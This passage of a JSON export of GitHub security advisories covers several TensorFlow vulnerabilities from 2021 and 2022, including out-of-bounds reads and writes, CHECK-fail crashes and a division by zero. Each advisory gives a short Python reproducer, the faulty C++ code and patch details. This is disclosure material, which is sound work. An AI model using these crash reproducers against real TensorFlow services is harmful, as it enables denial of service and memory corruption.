[44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j47f-4232-hvv8","https://nvd.nist.gov/vuln/detail/CVE-2021-29532","https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-460.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-658.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-169.yaml","https://github.com/advisories/GHSA-j47f-4232-hvv8"],"source_kind":"github","identifiers":["GHSA-j47f-4232-hvv8","CVE-2021-29532"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.452Z","updated_at":"2024-10-30T23:21:40.000Z","epss_percentage":0.00017,"epss_percentile":0.02699},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNoOG0tNDgzai03eHht","url":"https://github.com/advisories/GHSA-3h8m-483j-7xxm","title":"Heap out of bounds read in `RequantizationRange`","description":"### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([1], shape=[1], dtype=tf.qint32) \ninput_max = tf.constant([], dtype=tf.float32)\ninput_min = tf.constant([], dtype=tf.float32)\n\ntf.raw_ops.RequantizationRange(input=input, input_min=input_min, input_max=input_max)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ac328eaa3870491ababc147822cd04e91a790643/tensorflow/core/kernels/requantization_range_op.cc#L49-L50) assumes that the `input_min` and `input_max` tensors have at least one element, as it accesses the first element in two arrays:\n\n```cc\nconst float input_min_float = ctx-\u003einput(1).flat\u003cfloat\u003e()(0);\nconst float input_max_float = ctx-\u003einput(2).flat\u003cfloat\u003e()(0);\n```\n\nIf the tensors are empty, `.flat\u003cT\u003e()` is an empty object, backed by an empty array. Hence, accesing even the 0th element is a read outside the bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [ef0c008ee84bad91ec6725ddc42091e19a30cf0e](https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:25:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3h8m-483j-7xxm","https://nvd.nist.gov/vuln/detail/CVE-2021-29569","https://github.com/tensorflow/tensorflow/commit/ef0c008ee84bad91ec6725ddc42091e19a30cf0e","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-497.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-695.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-206.yaml","https://github.com/advisories/GHSA-3h8m-483j-7xxm"],"source_kind":"github","identifiers":["GHSA-3h8m-483j-7xxm","CVE-2021-29569"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.925Z","updated_at":"2024-11-01T17:05:45.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThwbXgtcDI0NC1nODho","url":"https://github.com/advisories/GHSA-8pmx-p244-g88h","title":"Interpreter crash from `tf.io.decode_raw`","description":"### Impact\nThe implementation of `tf.io.decode_raw` produces incorrect results and crashes the Python interpreter when combining `fixed_length` and wider datatypes.\n\n```python\nimport tensorflow as tf\n\ntf.io.decode_raw(tf.constant([\"1\",\"2\",\"3\",\"4\"]), tf.uint16, fixed_length=4)\n```                \n                   \nThe [implementation of the padded version](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc) is buggy due to a confusion about pointer arithmetic rules.\n\nFirst, the code [computes](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L61) the width of each output element by dividing the `fixed_length` value to the size of the type argument:\n\n```cc\nint width = fixed_length / sizeof(T);\n```\n\nThe `fixed_length` argument is also used to determine the [size needed for the output tensor](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L63-L79):\n\n```cc\nTensorShape out_shape = input.shape();\nout_shape.AddDim(width);\nTensor* output_tensor = nullptr;\nOP_REQUIRES_OK(context, context-\u003eallocate_output(\"output\", out_shape, \u0026output_tensor));\n\nauto out = output_tensor-\u003eflat_inner_dims\u003cT\u003e();\nT* out_data = out.data();\nmemset(out_data, 0, fixed_length * flat_in.size());\n```\n\nThis is followed by [reencoding code](https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L85-L94):\n\n```cc\nfor (int64 i = 0; i \u003c flat_in.size(); ++i) {\n  const T* in_data = reinterpret_cast\u003cconst T*\u003e(flat_in(i).data());\n\n  if (flat_in(i).size() \u003e fixed_length) {\n    memcpy(out_data, in_data, fixed_length);\n  } else {\n    memcpy(out_data, in_data, flat_in(i).size());\n  }\n  out_data += fixed_length;\n}\n```\n\nThe erroneous code is the last line above: it is moving the `out_data` pointer by `fixed_length * sizeof(T)` bytes whereas it only copied at most `fixed_length` bytes from the input. This results in parts of the input not being decoded into the output.\n\nFurthermore, because the pointer advance is far wider than desired, this quickly leads to writing to outside the bounds of the backing data. This OOB write leads to interpreter crash in the reproducer mentioned here, but more severe attacks can be mounted too, given that this gadget allows writing to periodically placed locations in memory.\n\n### Patches\nWe have patched the issue in GitHub commit [698e01511f62a3c185754db78ebce0eee1f0184d](https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8pmx-p244-g88h","https://nvd.nist.gov/vuln/detail/CVE-2021-29614","https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-542.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-740.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-251.yaml","https://github.com/advisories/GHSA-8pmx-p244-g88h"],"source_kind":"github","identifiers":["GHSA-8pmx-p244-g88h","CVE-2021-29614"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.499Z","updated_at":"2024-11-13T16:26:20.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM5M2YtMmpyMy1jcDY5","url":"https://github.com/advisories/GHSA-393f-2jr3-cp69","title":"CHECK-fail in DrawBoundingBoxes","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([53, 0, 48, 1], 0.)\nboxes = tf.fill([53, 31, 4], 0.)\nboxes = tf.Variable(boxes)\nboxes[0, 0, 0].assign(3.90621)\ntf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.\n\n```cc\nconst int64 max_box_row_clamp = std::min\u003cint64\u003e(max_box_row, height - 1);\n... \nCHECK_GE(max_box_row_clamp, 0);\n``` \n    \nIn this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.\n    \n### Patches\nWe have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-393f-2jr3-cp69","https://nvd.nist.gov/vuln/detail/CVE-2021-29533","https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-461.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-659.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-170.yaml","https://github.com/advisories/GHSA-393f-2jr3-cp69"],"source_kind":"github","identifiers":["GHSA-393f-2jr3-cp69","CVE-2021-29533"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.461Z","updated_at":"2024-10-30T23:22:17.000Z","epss_percentage":0.00018,"epss_percentile":0.0288},{"uuid":"GSA_kwCzR0hTQS1tZzY2LXF2YzUtcm05M84AArBK","url":"https://github.com/advisories/GHSA-mg66-qvc5-rm93","title":"Missing validation causes denial of service via `SparseTensorToCSRSparseMatrix`","description":"### Impact\nThe implementation of [`tf.raw_ops.SparseTensorToCSRSparseMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant(53, shape=[3], dtype=tf.int64)\nvalues = tf.constant(0.554979503, shape=[218650], dtype=tf.float32)\ndense_shape = tf.constant(53, shape=[3], dtype=tf.int64)\n    \ntf.raw_ops.SparseTensorToCSRSparseMatrix(\n  indices=indices,\n  values=values,\n  dense_shape=dense_shape)\n```\n\nThe code assumes `dense_shape` is a vector and `indices` is a matrix (as part of requirements for sparse tensors) but there is no validation for this:\n  \n```cc\n    const Tensor\u0026 indices = ctx-\u003einput(0);\n    const Tensor\u0026 values = ctx-\u003einput(1);\n    const Tensor\u0026 dense_shape = ctx-\u003einput(2);\n    const int rank = dense_shape.NumElements();\n    OP_REQUIRES(ctx, rank == 2 || rank == 3,\n                errors::InvalidArgument(\"SparseTensor must have rank 2 or 3; \",\n                                        \"but indices has rank: \", rank));\n    auto dense_shape_vec = dense_shape.vec\u003cint64_t\u003e();\n    // ...\n    OP_REQUIRES_OK(\n        ctx,\n        coo_to_csr(batch_size, num_rows, indices.template matrix\u003cint64_t\u003e(),\n                   batch_ptr.vec\u003cint32\u003e(), csr_row_ptr.vec\u003cint32\u003e(),\n                   csr_col_ind.vec\u003cint32\u003e()));\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ea50a40e84f6bff15a0912728e35b657548cef11](https://github.com/tensorflow/tensorflow/commit/ea50a40e84f6bff15a0912728e35b657548cef11).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:08:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mg66-qvc5-rm93","https://nvd.nist.gov/vuln/detail/CVE-2022-29198","https://github.com/tensorflow/tensorflow/commit/ea50a40e84f6bff15a0912728e35b657548cef11","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-mg66-qvc5-rm93"],"source_kind":"github","identifiers":["GHSA-mg66-qvc5-rm93","CVE-2022-29198"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.769Z","updated_at":"2023-01-27T05:02:16.000Z","epss_percentage":0.00044,"epss_percentile":0.12442},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo4cWMtNWZxci01MmZw","url":"https://github.com/advisories/GHSA-j8qc-5fqr-52fp","title":"Division by zero in `Conv2DBackpropFilter`","description":"### Impact\nAn attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 1, 1, 1],\n  use_cudnn_on_gpu=False,\n  padding='SAME',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):\n\n```cc\nconst size_t size_A = output_image_size * filter_total_size; \nconst size_t size_B = output_image_size * dims.out_depth;\nconst size_t size_C = filter_total_size * dims.out_depth;\nconst size_t work_unit_size = size_A + size_B + size_C;\nconst size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nIf all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service. \n\n### Patches\nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j8qc-5fqr-52fp","https://nvd.nist.gov/vuln/detail/CVE-2021-29538","https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-466.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-664.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-175.yaml","https://github.com/advisories/GHSA-j8qc-5fqr-52fp"],"source_kind":"github","identifiers":["GHSA-j8qc-5fqr-52fp","CVE-2021-29538"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.520Z","updated_at":"2024-10-30T23:26:36.000Z","epss_percentage":0.00015,"epss_percentile":0.01838},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZnODUtM2htOC04M2Y5","url":"https://github.com/advisories/GHSA-6g85-3hm8-83f9","title":"CHECK-fail in `QuantizeAndDequantizeV4Grad`","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad`:\n\n```python\nimport tensorflow as tf\n\ngradient_tensor = tf.constant([0.0], shape=[1])\ninput_tensor = tf.constant([0.0], shape=[1])\ninput_min = tf.constant([[0.0]], shape=[1, 1])\ninput_max = tf.constant([[0.0]], shape=[1, 1])\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=gradient_tensor, input=input_tensor,\n  input_min=input_min, input_max=input_max, axis=0)\n```                     \n                        \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163) does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to [`QuantizeAndDequantizePerChannelGradientImpl`](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306):\n\n```cc \ntemplate \u003ctypename Device, typename T\u003e\nstruct QuantizeAndDequantizePerChannelGradientImpl {\n  static void Compute(const Device\u0026 d,\n                      typename TTypes\u003cT, 3\u003e::ConstTensor gradient,\n                      typename TTypes\u003cT, 3\u003e::ConstTensor input,\n                      const Tensor* input_min_tensor,\n                      const Tensor* input_max_tensor,\n                      typename TTypes\u003cT, 3\u003e::Tensor input_backprop,\n                      typename TTypes\u003cT\u003e::Flat input_min_backprop,\n                      typename TTypes\u003cT\u003e::Flat input_max_backprop) {\n    ...\n    auto input_min = input_min_tensor-\u003evec\u003cT\u003e();\n    auto input_max = input_max_tensor-\u003evec\u003cT\u003e();\n    ...\n}\n```\n\nHowever, the `vec\u003cT\u003e` method, requires the rank to 1 and triggers a `CHECK` failure otherwise.\n\n### Patches\nWe have patched the issue in GitHub commit [20431e9044cf2ad3c0323c34888b192f3289af6b](https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu 